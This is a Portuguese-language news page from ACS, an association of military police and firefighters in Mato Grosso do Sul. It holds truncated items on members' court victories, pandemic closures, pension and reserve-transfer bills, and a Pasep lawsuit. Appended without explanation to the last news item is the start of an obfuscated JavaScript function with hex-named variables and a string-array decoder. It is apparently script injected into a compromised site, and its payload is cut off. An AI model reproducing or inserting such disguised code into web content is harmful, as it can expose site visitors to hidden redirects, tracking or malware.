Destaques

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) é um dos mais importantes serviços assegurados à categoria e tem desempenhado um papel fundamental na representação dos sócios perante o Poder Judiciário. São centenas de processo sob os cuidados dos advogados. Além da orientação do ponto de vista legal nas atividades e procedimentos internos da entidade, eles prestam assessoria aos sócios que enfrentam problemas legais e precisam de orientação ou amparo judicial, conforme regras estatutárias e regimento interno da entidade. São eles, por exemplo, que garantiram o pagamento, conforme preconiza a legislação, dos 10% adicionais de função a diversos policiais que procuraram a Associação. Nesta demanda, são mais de 30...

Audiência pública realizada de maneira remota, nesta quinta-feira (23), discutiu o Projeto de Lei 4.363/01, que cria a Lei de Organização Básica dos Militares Estaduais. O debate reuniu integrantes das principais entidades representativas dos militares sul-mato-grossenses e foi presidido pelo deputado federal Capitão Augusto (PL/SP). O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, já acionou o departamento jurídico da entidade para fazer um estudo do projeto, e já garantiu: qualquer mudança que entre em rota de colisão com direitos já adquiridos será repelida. A Anermb (Associação Nacional das Entidades Representativas dos Militares do Brasil) já divulgou uma nota técnica sobre a proposta e s...

Preocupada com o bem estar dos funcionários, colaboradores e associados, a diretoria da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) realizou, nesta terça-feira (21), a sanitização do Hotel de Trânsito e de sua sede administrativa. O trabalho é mais uma ação de enfrentamento a pandemia do novo Coronavírus, já que a entidade suspendeu o atendimento presencial na última semana para conter o avanço da Covid-19. "Contamos com uma equipe preparada para isso. Na próxima semana, acontecem as provas do Curso de Formação de Sargentos, e vamos receber novos policiais em nosso hotel. Estamos dando segurança aos nosso associados", afirmou o presidente da entidade, cabo Mario Sérgio Couto. A sanitização foi feitas nos quartos do hotel, recepç...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu na Justiça a suspensão de uma Portaria que havia transferido um associado de Mundo Novo para Campo Grande. Uma liminar já havia sido concedida em 2018 e, agora, a decisão é definitiva. O juiz entendeu que "apesar da possibilidade de transferência do Policial Militar para qualquer local do Estado nas hipóteses legalmente previstas, entre as quais a necessidade de serviço", o Decreto Estadual nº 1.093/81 prevê que "a movimentação por necessidade do serviço será efetuado, normalmente, depois de cumprido o prazo mínimo de permanência em uma mesma OPM ou Guarnição". No caso do associado, ele havia sido transferido com menos de um ano na OPM. Outro fator favor...

Assim como fez na segunda quinzena de março, a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vai suspender novamente as atividades presenciais na sede da entidade, bem como o atendimento psicológico, como forma de conter o avanço da pandemia do novo coronavírus. Conforme o presidente da entidade, cabo Mario Sérgio Couto, o atendimento ao público na sede será suspenso a partir desta quarta-feira (15), retornando, a princípio, no dia 22 de julho -essa data pode ser alterada. O Jurídico irá trabalhar em caráter home office, pelos advogados em suas respectivas áreas, nos seguintes telefones: (67) 99965-9984 (Edmar), 98488-1463 (Deiwes) e 98101-9558 (Walter). O Administrativo, também em home office, vai atender pelo telefone (67) 9675-40...

O Juizado Especial da Fazenda Pública de Campo Grande concedeu, nesta quarta-feira (08), três decisões favoráveis a associados que buscaram o direito de receber 10% de seus subsídios por exercerem funções de motoristas, auxiliar administrativo e comandante de equipe. Segundo a assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), duas dessas ações obrigam o Estado a implantar os 10% do subsídio inicial no pagamento dos sócios. Em outro caso, o associado requereu o pagamento retroativo, já que havia desempenhado as funções determinadas pela lei enquanto estava na ativa. O Jurídico da ACS tem atuado de maneira incisiva nas demandas dos associados. No caso da cobrança dos 10%, são mais de 100 ações propostas pela ACS no...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, na última terça-feira (17), a absolvição de um sócio que havia sido denunciado pelo crime de peculato na forma tentada. A ação penal teve início quando um terceiro policial militar teria o acusado de ter se apropriado de um aparelho de ar condicionado, pertencente ao Projeto Patrulha Mirim, da região de Nova Andradina. Durante a instrução do processo, a defesa produziu provas suficientes para convencer o Conselho de Justiça de que tudo não passava de uma possível acusação injusta do superior que efetivou a parte, dando origem a ação penal, uma vez que o respectivo aparelho nunca chegou a ser retirado do local. Outra tese da defesa fundamentava-se na in...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, se reuniu, na manhã desta sexta-feira (19), com o comandante geral da PM, coronel Marcos Paulo Gimenez, para tratar sobre o projeto de lei que prevê mudanças na legislação para a transferência para a reserva remunerada de policiais e bombeiros. A proposta prevê, entre outros pontos, que o militar que completar 30 anos de serviço, se masculino, ou 25 anos, se feminino, até o dia 31 de dezembro de 2021, poderá solicitar a transferência para a reserva remunerada com proventos integrais. Ou, se possuir 20 anos de efetivo serviço para ambos os sexos, pode solicitar a proporcional. A partir do dia 1º de janeiro de 2022, a regra muda. O militar incluído ...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) firmou parceria com um escritório de advocacia, em Campo Grande, para ajuizar uma ação afim de querer o pagamento do Pasep (Programa de Formação do Patrimônio do Servidor Público), referente aos meses de agosto, setembro e outubro de 1988. Portanto, sócios que já eram servidores públicos neste período podem ser beneficiados, já que não houve depósito nas contas dos titulares. Os valores que o associado terá direito a receber será calculado por um perito bancário contratado pelo escritório. Os extratos das contas serão solicitados também pelos advogados, sem custos para os associados. No entanto, caso a justiça gratuita seja negada, o sócio deverá arcar com as custas processuais. As cust...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, realizou, nesta segunda-feira (15), uma visita às obras de construção do clube de campo da Regional de Aquidauana. Acompanhado do diretor local, Ramão Alves Mariano Neto, ele acompanhou o andamento dos trabalhos. A Regional conta com salão de festas, playground, quiosques, além de piscinas e vestiários. A viagem ainda teve cunho social. A psicóloga da entidade, Alicia Izidre do Couto, realizou atendimento a uma pensionista que perdeu seu esposo recentemente. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0...